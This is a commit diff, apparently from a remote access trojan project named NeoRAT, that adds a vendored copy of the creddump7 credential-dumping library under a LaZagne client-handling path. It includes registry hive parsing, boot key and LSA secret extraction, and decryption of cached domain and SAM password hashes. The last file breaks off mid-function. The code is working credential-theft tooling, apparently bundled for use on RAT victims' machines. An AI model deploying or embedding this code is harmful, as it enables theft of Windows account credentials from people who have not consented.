NeoRATHEADmain

10 files changed, 1409 insertions, 0 deletions

diff --git a/foreign/client_handling/lazagne/softwares/windows/creddump7/__init__.py b/foreign/client_handling/lazagne/softwares/windows/creddump7/__init__.py
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/creddump7/__init__.py
diff --git a/foreign/client_handling/lazagne/softwares/windows/creddump7/addrspace.py b/foreign/client_handling/lazagne/softwares/windows/creddump7/addrspace.py
new file mode 100644
index 0000000..9b63a6c
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/creddump7/addrspace.py
@@ -0,0 +1,144 @@
+# Volatility
+# Copyright (C) 2007 Volatile Systems
+#
+# Original Source:
+# Copyright (C) 2004,2005,2006 4tphi Research
+# Author: {npetroni,awalters}@4tphi.net (Nick Petroni and AAron Walters)
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or (at
+# your option) any later version.
+#
+# This program is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+# General Public License for more details. 
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA 
+#
+
+"""
+@author:       AAron Walters
+@license:      GNU General Public License 2.0 or later
+@contact:      awalters@volatilesystems.com
+@organization: Volatile Systems
+"""
+
+""" Alias for all address spaces """
+
+import os
+import struct
+
+
+class FileAddressSpace:
+    def __init__(self, fname, mode='rb', fast=False):
+        self.fname = fname
+        self.name = fname
+        self.fhandle = open(fname, mode)
+        self.fsize = os.path.getsize(fname)
+
+        if fast:
+            self.fast_fhandle = open(fname, mode)
+
+    def fread(self, len):
+        return self.fast_fhandle.read(len)
+
+    def read(self, addr, len):
+        self.fhandle.seek(addr)
+        return self.fhandle.read(len)
+
+    def read_long(self, addr):
+        string = self.read(addr, 4)
+        (longval,) = struct.unpack('L', string)
+        return longval
+
+    def get_address_range(self):
+        return [0, self.fsize - 1]
+
+    def get_available_addresses(self):
+        return [self.get_address_range()]
+
+    def is_valid_address(self, addr):
+        return addr < self.fsize - 1
+
+    def close(self):
+        self.fhandle.close()
+
+
+# Code below written by Brendan Dolan-Gavitt
+
+BLOCK_SIZE = 0x1000
+
+
+class HiveFileAddressSpace:
+    def __init__(self, fname):
+        self.fname = fname
+        self.base = FileAddressSpace(fname)
+
+    def vtop(self, vaddr):
+        return vaddr + BLOCK_SIZE + 4
+
+    def read(self, vaddr, length, zero=False):
+        first_block = BLOCK_SIZE - vaddr % BLOCK_SIZE
+        full_blocks = ((length + (vaddr % BLOCK_SIZE)) / BLOCK_SIZE) - 1
+        left_over = (length + vaddr) % BLOCK_SIZE
+
+        paddr = self.vtop(vaddr)
+        if not paddr and zero:
+            if length < first_block:
+                return "\0" * length
+            else:
+                stuff_read = "\0" * first_block
+        elif not paddr:
+            return None
+        else:
+            if length < first_block:
+                stuff_read = self.base.read(paddr, length)
+                if not stuff_read and zero:
+                    return "\0" * length
+                else:
+                    return stuff_read
+
+            stuff_read = self.base.read(paddr, first_block)
+            if not stuff_read and zero:
+                stuff_read = "\0" * first_block
+
+        new_vaddr = vaddr + first_block
+        for i in range(0, full_blocks):
+            paddr = self.vtop(new_vaddr)
+            if not paddr and zero:
+                stuff_read = stuff_read + "\0" * BLOCK_SIZE
+            elif not paddr:
+                return None
+            else:
+                new_stuff = self.base.read(paddr, BLOCK_SIZE)
+                if not new_stuff and zero:
+                    new_stuff = "\0" * BLOCK_SIZE
+                elif not new_stuff:
+                    return None
+                else:
+                    stuff_read = stuff_read + new_stuff
+            new_vaddr = new_vaddr + BLOCK_SIZE
+
+        if left_over > 0:
+            paddr = self.vtop(new_vaddr)
+            if not paddr and zero:
+                stuff_read = stuff_read + "\0" * left_over
+            elif not paddr:
+                return None
+            else:
+                stuff_read = stuff_read + self.base.read(paddr, left_over)
+        return stuff_read
+
+    def read_long_phys(self, addr):
+        string = self.base.read(addr, 4)
+        (longval,) = struct.unpack('L', string)
+        return longval
+
+    def is_valid_address(self, vaddr):
+        paddr = self.vtop(vaddr)
+        if not paddr: return False
+        return self.base.is_valid_address(paddr)
diff --git a/foreign/client_handling/lazagne/softwares/windows/creddump7/newobj.py b/foreign/client_handling/lazagne/softwares/windows/creddump7/newobj.py
new file mode 100644
index 0000000..05d4b09
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/creddump7/newobj.py
@@ -0,0 +1,315 @@
+# This file is part of creddump.
+#
+# creddump is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# creddump is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with creddump.  If not, see <http://www.gnu.org/licenses/>.
+
+"""
+@author:       Brendan Dolan-Gavitt
+@license:      GNU General Public License 2.0 or later
+@contact:      bdolangavitt@wesleyan.edu
+"""
+
+from .object import *
+from .types import regtypes as types
+from operator import itemgetter
+from struct import unpack
+
+
+def get_ptr_type(structure, member):
+    """Return the type a pointer points to.
+       
+       Arguments:
+         structure : the name of the structure from vtypes
+         member : a list of members
+
+       Example:
+         get_ptr_type('_EPROCESS', ['ActiveProcessLinks', 'Flink']) => ['_LIST_ENTRY']
+    """
+    if len(member) > 1:
+        _, tp = get_obj_offset(types, [structure, member[0]])
+        if tp == 'array':
+            return types[structure][1][member[0]][1][2][1]
+        else:
+            return get_ptr_type(tp, member[1:])
+    else:
+        return types[structure][1][member[0]][1][1]
+
+
+class Obj(object):
+    """Base class for all objects.
+       
+       May return a subclass for certain data types to allow
+       for special handling.
+    """
+
+    def __new__(typ, name, address, space):
+        if name in globals():
+            # This is a bit of "magic"
+            # Could be replaced with a dict mapping type names to types
+            return globals()[name](name,address,space)
+        elif name in builtin_types:
+            return Primitive(name, address, space)
+        else:
+            obj = object.__new__(typ)
+            return obj
+    
+    def __init__(self, name, address, space):
+        self.name = name
+        self.address = address
+        self.space = space
+
+        # Subclasses can add fields to this list if they want them
+        # to show up in values() or members(), even if they do not
+        # appear in the vtype definition
+        self.extra_members = []
+    
+    def __getattribute__(self, attr):
+        try:
+            return object.__getattribute__(self, attr)
+        except AttributeError:
+            pass
+
+        if self.name in builtin_types:
+            raise AttributeError("Primitive types have no dynamic attributes")
+
+        try:
+            off, tp = get_obj_offset(types, [self.name, attr])
+        except Exception:
+            raise AttributeError("'%s' has no attribute '%s'" % (self.name, attr))
+        
+        if tp == 'array':
+            a_len = types[self.name][1][attr][1][1]
+            l = []
+            for i in range(a_len):
+                a_off, a_tp = get_obj_offset(types, [self.name, attr, i])
+                if a_tp == 'pointer':
+                    ptp = get_ptr_type(self.name, [attr, i])
+                    l.append(Pointer(a_tp, self.address+a_off, self.space, ptp))
+                else:
+                    l.append(Obj(a_tp, self.address+a_off, self.space))
+            return l
+        elif tp == 'pointer':
+            # Can't just return a Obj here, since pointers need to also
+            # know what type they point to.
+            ptp = get_ptr_type(self.name, [attr])
+            return Pointer(tp, self.address+off, self.space, ptp)
+        else:
+            return Obj(tp, self.address+off, self.space)
+
+    def __truediv__(self, other):
+        if isinstance(other, (tuple, list)):
+            return Pointer(other[0], self.address, self.space, other[1])
+        elif isinstance(other, str):
+            return Obj(other, self.address, self.space)
+        else:
+            raise ValueError("Must provide a type name as string for casting")
+
+    def __div__(self, other):
+        if isinstance(other, tuple) or isinstance(other, list):
+            return Pointer(other[0], self.address, self.space, other[1])
+        elif isinstance(other, str):
+            return Obj(other, self.address, self.space)
+        else:
+            raise ValueError("Must provide a type name as string for casting")
+    
+    def members(self):
+        """Return a list of this object's members, sorted by offset."""
+
+        # Could also just return the list
+        membs = [(k, v[0]) for k,v in types[self.name][1].items()]
+        membs.sort(key=itemgetter(1))
+        return map(itemgetter(0),membs) + self.extra_members
+
+    def values(self):
+        """Return a dictionary of this object's members and their values"""
+        
+        valdict = {}
+        for k in self.members():
+            valdict[k] = getattr(self, k)
+        return valdict
+
+    def bytes(self, length=-1):
+        """Get bytes starting at the address of this object.
+        
+           Arguments:
+             length : the number of bytes to read. Default: size of
+                this object.
+        """
+
+        if length == -1:
+            length = self.size()
+        return self.space.read(self.address, length)
+
+    def size(self):
+        """Get the size of this object."""
+
+        if self.name in builtin_types:
+            return builtin_types[self.name][0]
+        else:
+            return types[self.name][0]
+    
+    def __repr__(self):
+        return "<%s @%08x>" % (self.name, self.address)
+
+    def __eq__(self, other):
+        if not isinstance(other, Obj):
+            raise TypeError("Types are incomparable")
+        return self.address == other.address and self.name == other.name
+
+    def __ne__(self, other):
+        return not self.__eq__(other)
+
+    def __hash__(self):
+        return hash(self.address) ^ hash(self.name)
+
+    def is_valid(self):
+        return self.space.is_valid_address(self.address)
+
+    def get_offset(self, member):
+        return get_obj_offset(types, [self.name] + member)
+
+
+class Primitive(Obj):
+    """Class to represent a primitive data type.
+       
+       Attributes:
+         value : the python primitive value of this type
+    """
+
+    def __new__(typ, *args, **kwargs):
+        obj = object.__new__(typ)
+        return obj
+
+    def __init__(self, name, address, space):
+        super(Primitive, self).__init__(name, address, space)
+        length, fmt = builtin_types[name]
+        data = space.read(address, length)
+        if not data:
+            self.value = None
+        else:
+            self.value = unpack(fmt,data)[0]
+    
+    def __repr__(self):
+        return repr(self.value)
+
+    def members(self):
+        return []
+
+
+class Pointer(Obj):
+    """Class to represent pointers.
+    
+       value : the object pointed to
+
+       If an attribute is not found in this instance,
+       the attribute will be looked up in the referenced
+       object."""
+
+    def __new__(typ, *args, **kwargs):
+        obj = object.__new__(typ)
+        return obj
+
+    def __init__(self, name, address, space, ptr_type):
+        super(Pointer, self).__init__(name, address, space)
+        ptr_address = read_value(space, name, address)
+        if ptr_type[0] == 'pointer':
+            self.value = Pointer(ptr_type[0], ptr_address, self.space, ptr_type[1])
+        else:
+            self.value = Obj(ptr_type[0], ptr_address, self.space)
+    
+    def __getattribute__(self, attr):
+        # It's still nice to be able to access things through pointers
+        # without having to explicitly dereference them, so if we don't
+        # find an attribute via our superclass, just dereference the pointer
+        # and return the attribute in the pointed-to type.
+        try:
+            return super(Pointer, self).__getattribute__(attr)
+        except AttributeError:
+            return getattr(self.value, attr)
+    
+    def __repr__(self):
+        return "<pointer to [%s @%08x]>" % (self.value.name, self.value.address)
+
+    def members(self):
+        return self.value.members()
+
+
+class _UNICODE_STRING(Obj):
+    """Class representing a _UNICODE_STRING
+
+    Adds the following behavior:
+      * The Buffer attribute is presented as a Python string rather
+        than a pointer to an unsigned short.
+      * The __str__ method returns the value of the Buffer.
+    """
+
+    def __new__(typ, *args, **kwargs):
+        obj = object.__new__(typ)
+        return obj
+
+    def __str__(self):
+        return self.Buffer
+
+    # Custom Attributes
+    def getBuffer(self):
+        return read_unicode_string(self.space, types, [], self.address)
+    Buffer = property(fget=getBuffer)
+
+
+class _CM_KEY_NODE(Obj):
+    def __new__(typ, *args, **kwargs):
+        obj = object.__new__(typ)
+        return obj
+
+    def getName(self):
+        return read_string(self.space, types, ['_CM_KEY_NODE', 'Name'], self.address, self.NameLength.value)
+    Name = property(fget=getName)
+
+
+class _CM_KEY_VALUE(Obj):
+    def __new__(typ, *args, **kwargs):
+        obj = object.__new__(typ)
+        return obj
+
+    def getName(self):
+        return read_string(self.space, types, ['_CM_KEY_VALUE', 'Name'], self.address, self.NameLength.value)
+    Name = property(fget=getName)
+
+
+class _CHILD_LIST(Obj):
+    def __new__(typ, *args, **kwargs):
+        obj = object.__new__(typ)
+        return obj
+
+    def getList(self):
+        lst = []
+        list_address = read_obj(self.space, types, ['_CHILD_LIST', 'List'], self.address)
+        for i in range(self.Count.value):
+            lst.append(Pointer("pointer", list_address+(i*4), self.space, ["_CM_KEY_VALUE"]))
+        return lst
+    List = property(fget=getList)
+
+
+class _CM_KEY_INDEX(Obj):
+    def __new__(typ, *args, **kwargs):
+        obj = object.__new__(typ)
+        return obj
+
+    def getList(self):
+        lst = []
+        for i in range(self.Count.value):
+            # we are ignoring the hash value here
+            off, tp = get_obj_offset(types, ['_CM_KEY_INDEX', 'List', i*2])
+            lst.append(Pointer("pointer", self.address+off, self.space, ["_CM_KEY_NODE"]))
+        return lst
+    List = property(fget=getList)
diff --git a/foreign/client_handling/lazagne/softwares/windows/creddump7/object.py b/foreign/client_handling/lazagne/softwares/windows/creddump7/object.py
new file mode 100644
index 0000000..d2fa04b
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/creddump7/object.py
@@ -0,0 +1,179 @@
+# Volatools Basic
+# Copyright (C) 2007 Komoku, Inc.
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or (at
+# your option) any later version.
+#
+# This program is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+# General Public License for more details. 
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA 
+#
+
+"""
+@author:       AAron Walters and Nick Petroni
+@license:      GNU General Public License 2.0 or later
+@contact:      awalters@komoku.com, npetroni@komoku.com
+@organization: Komoku, Inc.
+"""
+
+import struct
+
+builtin_types = {
+    'int': (4, 'i'),
+    'long': (4, 'i'),
+    'unsigned long': (4, 'I'),
+    'unsigned int': (4, 'I'),
+    'address': (4, 'I'),
+    'char': (1, 'c'),
+    'unsigned char': (1, 'B'),
+    'unsigned short': (2, 'H'),
+    'short': (2, 'h'),
+    'long long': (8, 'q'),
+    'unsigned long long': (8, 'Q'),
+    'pointer': (4, 'I'),
+}
+
+
+def obj_size(types, objname):
+    if objname not in types:
+        raise Exception('Invalid type %s not in types' % objname)
+
+    return types[objname][0]
+
+
+def builtin_size(builtin):
+    if builtin not in builtin_types:
+        raise Exception('Invalid built-in type %s' % builtin)
+
+    return builtin_types[builtin][0]
+
+
+def read_value(addr_space, value_type, vaddr):
+    """
+    Read the low-level value for a built-in type.
+    """
+
+    if value_type not in builtin_types:
+        raise Exception('Invalid built-in type %s' % value_type)
+
+    type_unpack_char = builtin_types[value_type][1]
+    type_size = builtin_types[value_type][0]
+
+    buf = addr_space.read(vaddr, type_size)
+    if buf is None:
+        return None
+
+    try:
+        (val,) = struct.unpack(type_unpack_char, buf)
+    except Exception:
+        return None
+
+    return val
+
+
+def read_unicode_string(addr_space, types, member_list, vaddr):
+    offset = 0
+    if len(member_list) > 1:
+        (offset, current_type) = get_obj_offset(types, member_list)
+
+    buf = read_obj(addr_space, types, ['_UNICODE_STRING', 'Buffer'], vaddr + offset)
+    length = read_obj(addr_space, types, ['_UNICODE_STRING', 'Length'], vaddr + offset)
+
+    if length == 0x0:
+        return ""
+
+    if buf is None or length is None:
+        return None
+
+    readBuf = read_string(addr_space, types, ['char'], buf, length)
+
+    if readBuf is None:
+        return None
+
+    try:
+        readBuf = readBuf.decode('UTF-16').encode('ascii')
+    except Exception:
+        return None
+
+    return readBuf
+
+
+def read_string(addr_space, types, member_list, vaddr, max_length=256):
+    offset = 0
+    if len(member_list) > 1:
+        (offset, current_type) = get_obj_offset(types, member_list)
+
+    val = addr_space.read(vaddr + offset, max_length)
+
+    return val
+
+
+def read_null_string(addr_space, types, member_list, vaddr, max_length=256):
+    string = read_string(addr_space, types, member_list, vaddr, max_length)
+
+    if string is None:
+        return None
+
+    if string.find('\0') == -1:
+        return string
+    (string, none) = string.split('\0', 1)
+    return string
+
+
+def get_obj_offset(types, member_list):
+    """
+    Returns the (offset, type) pair for a given list
+    """
+    member_list.reverse()
+
+    current_type = member_list.pop()
+
+    offset = 0
+    current_member = 0
+    member_dict = None
+
+    while len(member_list) > 0:
+        if current_type == 'array':
+            if member_dict:
+                current_type = member_dict[current_member][1][2][0]
+            if current_type in builtin_types:
+                current_type_size = builtin_size(current_type)
+            else:
+                current_type_size = obj_size(types, current_type)
+            index = member_list.pop()
+            offset += index * current_type_size
+            continue
+
+        elif current_type not in types:
+            raise Exception('Invalid type ' + current_type)
+
+        member_dict = types[current_type][1]
+
+        current_member = member_list.pop()
+        if current_member not in member_dict:
+            raise Exception('Invalid member %s in type %s' % (current_member, current_type))
+
+        offset += member_dict[current_member][0]
+
+        current_type = member_dict[current_member][1][0]
+
+    return offset, current_type
+
+
+def read_obj(addr_space, types, member_list, vaddr):
+    """
+    Read the low-level value for some complex type's member.
+    The type must have members.
+    """
+    if len(member_list) < 2:
+        raise Exception('Invalid type/member ' + str(member_list))
+
+    (offset, current_type) = get_obj_offset(types, member_list)
+    return read_value(addr_space, current_type, vaddr + offset)
diff --git a/foreign/client_handling/lazagne/softwares/windows/creddump7/types.py b/foreign/client_handling/lazagne/softwares/windows/creddump7/types.py
new file mode 100644
index 0000000..8ad79a6
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/creddump7/types.py
@@ -0,0 +1,63 @@
+# This file is part of creddump.
+#
+# creddump is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# creddump is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with creddump.  If not, see <http://www.gnu.org/licenses/>.
+
+"""
+@author:       Brendan Dolan-Gavitt
+@license:      GNU General Public License 2.0 or later
+@contact:      bdolangavitt@wesleyan.edu
+"""
+
+regtypes = {
+    '_CM_KEY_VALUE': [0x18, {
+        'Signature': [0x0, ['unsigned short']],
+        'NameLength': [0x2, ['unsigned short']],
+        'DataLength': [0x4, ['unsigned long']],
+        'Data': [0x8, ['unsigned long']],
+        'Type': [0xc, ['unsigned long']],
+        'Flags': [0x10, ['unsigned short']],
+        'Spare': [0x12, ['unsigned short']],
+        'Name': [0x14, ['array', 1, ['unsigned short']]],
+    }],
+    '_CM_KEY_NODE': [0x50, {
+        'Signature': [0x0, ['unsigned short']],
+        'Flags': [0x2, ['unsigned short']],
+        'LastWriteTime': [0x4, ['_LARGE_INTEGER']],
+        'Spare': [0xc, ['unsigned long']],
+        'Parent': [0x10, ['unsigned long']],
+        'SubKeyCounts': [0x14, ['array', 2, ['unsigned long']]],
+        'SubKeyLists': [0x1c, ['array', 2, ['unsigned long']]],
+        'ValueList': [0x24, ['_CHILD_LIST']],
+        'ChildHiveReference': [0x1c, ['_CM_KEY_REFERENCE']],
+        'Security': [0x2c, ['unsigned long']],
+        'Class': [0x30, ['unsigned long']],
+        'MaxNameLen': [0x34, ['unsigned long']],
+        'MaxClassLen': [0x38, ['unsigned long']],
+        'MaxValueNameLen': [0x3c, ['unsigned long']],
+        'MaxValueDataLen': [0x40, ['unsigned long']],
+        'WorkVar': [0x44, ['unsigned long']],
+        'NameLength': [0x48, ['unsigned short']],
+        'ClassLength': [0x4a, ['unsigned short']],
+        'Name': [0x4c, ['array', 1, ['unsigned short']]],
+    }],
+    '_CM_KEY_INDEX': [0x8, {
+        'Signature': [0x0, ['unsigned short']],
+        'Count': [0x2, ['unsigned short']],
+        'List': [0x4, ['array', 1, ['unsigned long']]],
+    }],
+    '_CHILD_LIST': [0x8, {
+        'Count': [0x0, ['unsigned long']],
+        'List': [0x4, ['unsigned long']],
+    }],
+}
diff --git a/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/__init__.py b/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/__init__.py
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/__init__.py
diff --git a/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/domcachedump.py b/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/domcachedump.py
new file mode 100644
index 0000000..983c81a
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/domcachedump.py
@@ -0,0 +1,146 @@
+# This file is part of creddump.
+#
+# creddump is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# creddump is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with creddump.  If not, see <http://www.gnu.org/licenses/>.
+
+"""
+@author:       Brendan Dolan-Gavitt
+@license:      GNU General Public License 2.0 or later
+@contact:      bdolangavitt@wesleyan.edu
+"""
+
+import hmac
+import hashlib
+
+from .rawreg import *
+from ..addrspace import HiveFileAddressSpace
+from .hashdump import get_bootkey
+from .lsasecrets import get_secret_by_name, get_lsa_key
+from struct import unpack
+
+from foreign.client_handling.lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC
+from foreign.client_handling.lazagne.config.crypto.rc4 import RC4
+
+AES_BLOCK_SIZE = 16
+
+
+def get_nlkm(secaddr, lsakey, vista):
+    return get_secret_by_name(secaddr, 'NL$KM', lsakey, vista)
+
+
+def decrypt_hash(edata, nlkm, ch):
+    hmac_md5 = hmac.new(nlkm, ch, hashlib.md5)
+    rc4key = hmac_md5.digest()
+
+    rc4 = RC4(rc4key)
+    data = rc4.encrypt(edata)
+    return data
+
+
+def decrypt_hash_vista(edata, nlkm, ch):
+    """
+    Based on code from http://lab.mediaservice.net/code/cachedump.rb
+    """
+    aes = AESModeOfOperationCBC(nlkm[16:32], iv=ch)
+
+    out = ""
+    for i in range(0, len(edata), 16):
+        buf = edata[i:i+16]
+        if len(buf) < 16:
+            buf += (16 - len(buf)) * "\00"
+        out += b"".join([aes.decrypt(buf[i:i + AES_BLOCK_SIZE]) for i in range(0, len(buf), AES_BLOCK_SIZE)])
+    return out
+
+
+def parse_cache_entry(cache_data):
+    (uname_len, domain_len) = unpack("<HH", cache_data[:4])
+    (domain_name_len,) = unpack("<H", cache_data[60:62])
+    ch = cache_data[64:80]
+    enc_data = cache_data[96:]
+    return uname_len, domain_len, domain_name_len, enc_data, ch
+
+
+def parse_decrypted_cache(dec_data, uname_len, domain_len, domain_name_len):
+    uname_off = 72
+    pad = 2 * ((uname_len / 2) % 2)
+    domain_off = uname_off + uname_len + pad
+    pad = 2 * ((domain_len / 2) % 2)
+    domain_name_off = domain_off + domain_len + pad
+
+    data_hash = dec_data[:0x10]
+
+    username = dec_data[uname_off:uname_off+uname_len]
+    username = username.decode('utf-16-le', errors='ignore')
+
+    domain = dec_data[domain_off:domain_off+domain_len]
+    domain = domain.decode('utf-16-le', errors='ignore')
+
+    domain_name = dec_data[domain_name_off:domain_name_off+domain_name_len]
+    domain_name = domain_name.decode('utf-16-le', errors='ignore')
+
+    return username, domain, domain_name, data_hash
+
+
+def dump_hashes(sysaddr, secaddr, vista):
+    bootkey = get_bootkey(sysaddr)
+    if not bootkey:
+        return []
+
+    lsakey = get_lsa_key(secaddr, bootkey, vista)
+    if not lsakey:
+        return []
+
+    nlkm = get_nlkm(secaddr, lsakey, vista)
+    if not nlkm:
+        return []
+
+    root = get_root(secaddr)
+    if not root:
+        return []
+
+    cache = open_key(root, ["Cache"])
+    if not cache:
+        return []
+
+    hashes = []
+    for v in values(cache):
+        if v.Name == "NL$Control":
+            continue
+        
+        data = v.space.read(v.Data.value, v.DataLength.value)
+
+        (uname_len, domain_len, domain_name_len, enc_data, ch) = parse_cache_entry(data)
+        
+        # Skip if nothing in this cache entry
+        if uname_len == 0:
+            continue
+
+        if vista:
+            dec_data = decrypt_hash_vista(enc_data, nlkm, ch)
+        else:
+            dec_data = decrypt_hash(enc_data, nlkm, ch)
+
+        (username, domain, domain_name, hash) = parse_decrypted_cache(dec_data, uname_len, domain_len, domain_name_len)
+        hashes.append((username, domain, domain_name, hash))
+
+    return hashes 
+
+
+def dump_file_hashes(syshive_fname, sechive_fname, vista):
+    sysaddr = HiveFileAddressSpace(syshive_fname)
+    secaddr = HiveFileAddressSpace(sechive_fname)
+
+    results = []
+    for (u, d, dn, hash) in dump_hashes(sysaddr, secaddr, vista):
+        results.append("%s:%s:%s:%s" % (u.lower(), hash.encode('hex'), d.lower(), dn.lower()))
+    return results
diff --git a/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/hashdump.py b/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/hashdump.py
new file mode 100644
index 0000000..02a8e58
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/hashdump.py
@@ -0,0 +1,298 @@
+# This file is part of creddump.
+#
+# creddump is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# creddump is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with creddump.  If not, see <http://www.gnu.org/licenses/>.
+
+"""
+@author:       Brendan Dolan-Gavitt
+@license:      GNU General Public License 2.0 or later
+@contact:      bdolangavitt@wesleyan.edu
+"""
+
+import hashlib
+import codecs
+from struct import pack
+
+from ..addrspace import HiveFileAddressSpace
+from .rawreg import *
+from foreign.client_handling.lazagne.config.crypto.rc4 import RC4
+from foreign.client_handling.lazagne.config.crypto.pyDes import des, ECB
+from foreign.client_handling.lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC
+from foreign.client_handling.lazagne.config.winstructure import char_to_int, chr_or_byte, int_or_bytes
+
+
+odd_parity = [
+    1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
+    16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
+    32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
+    49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
+    64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
+    81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
+    97, 97, 98, 98, 100, 100, 103, 103, 104, 104, 107, 107, 109, 109, 110, 110,
+    112, 112, 115, 115, 117, 117, 118, 118, 121, 121, 122, 122, 124, 124, 127, 127,
+    128, 128, 131, 131, 133, 133, 134, 134, 137, 137, 138, 138, 140, 140, 143, 143,
+    145, 145, 146, 146, 148, 148, 151, 151, 152, 152, 155, 155, 157, 157, 158, 158,
+    161, 161, 162, 162, 164, 164, 167, 167, 168, 168, 171, 171, 173, 173, 174, 174,
+    176, 176, 179, 179, 181, 181, 182, 182, 185, 185, 186, 186, 188, 188, 191, 191,
+    193, 193, 194, 194, 196, 196, 199, 199, 200, 200, 203, 203, 205, 205, 206, 206,
+    208, 208, 211, 211, 213, 213, 214, 214, 217, 217, 218, 218, 220, 220, 223, 223,
+    224, 224, 227, 227, 229, 229, 230, 230, 233, 233, 234, 234, 236, 236, 239, 239,
+    241, 241, 242, 242, 244, 244, 247, 247, 248, 248, 251, 251, 253, 253, 254, 254
+]
+
+# Permutation matrix for boot key
+p = [0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3,
+     0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7]
+
+# Constants for SAM decrypt algorithm
+aqwerty = b"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0"
+anum = b"0123456789012345678901234567890123456789\0"
+antpassword = b"NTPASSWORD\0"
+almpassword = b"LMPASSWORD\0"
+
+empty_lm = codecs.decode('aad3b435b51404eeaad3b435b51404ee', 'hex')
+empty_nt = codecs.decode('31d6cfe0d16ae931b73c59d7e0c089c0', 'hex')
+
+AES_BLOCK_SIZE = 16
+
+
+def str_to_key(s):
+    key = []
+    key.append(char_to_int(s[0]) >> 1)
+    key.append(((char_to_int(s[0]) & 0x01) << 6) | (char_to_int(s[1]) >> 2))
+    key.append(((char_to_int(s[1]) & 0x03) << 5) | (char_to_int(s[2]) >> 3))
+    key.append(((char_to_int(s[2]) & 0x07) << 4) | (char_to_int(s[3]) >> 4))
+    key.append(((char_to_int(s[3]) & 0x0F) << 3) | (char_to_int(s[4]) >> 5))
+    key.append(((char_to_int(s[4]) & 0x1F) << 2) | (char_to_int(s[5]) >> 6))
+    key.append(((char_to_int(s[5]) & 0x3F) << 1) | (char_to_int(s[6]) >> 7))
+    key.append(char_to_int(s[6]) & 0x7F)
+
+    for i in range(8):
+        key[i] = (key[i] << 1)
+        key[i] = odd_parity[key[i]]
+
+    return b"".join(chr_or_byte(k) for k in key)
+
+
+def sid_to_key(sid):
+    s1 = b""
+    s1 += chr_or_byte(sid & 0xFF)
+    s1 += chr_or_byte((sid >> 8) & 0xFF)
+    s1 += chr_or_byte((sid >> 16) & 0xFF)
+    s1 += chr_or_byte((sid >> 24) & 0xFF)
+    s1 += int_or_bytes(s1[0])
+    s1 += int_or_bytes(s1[1])
+    s1 += int_or_bytes(s1[2])
+    s2 = int_or_bytes(s1[3]) + int_or_bytes(s1[0]) + int_or_bytes(s1[1]) + int_or_bytes(s1[2])
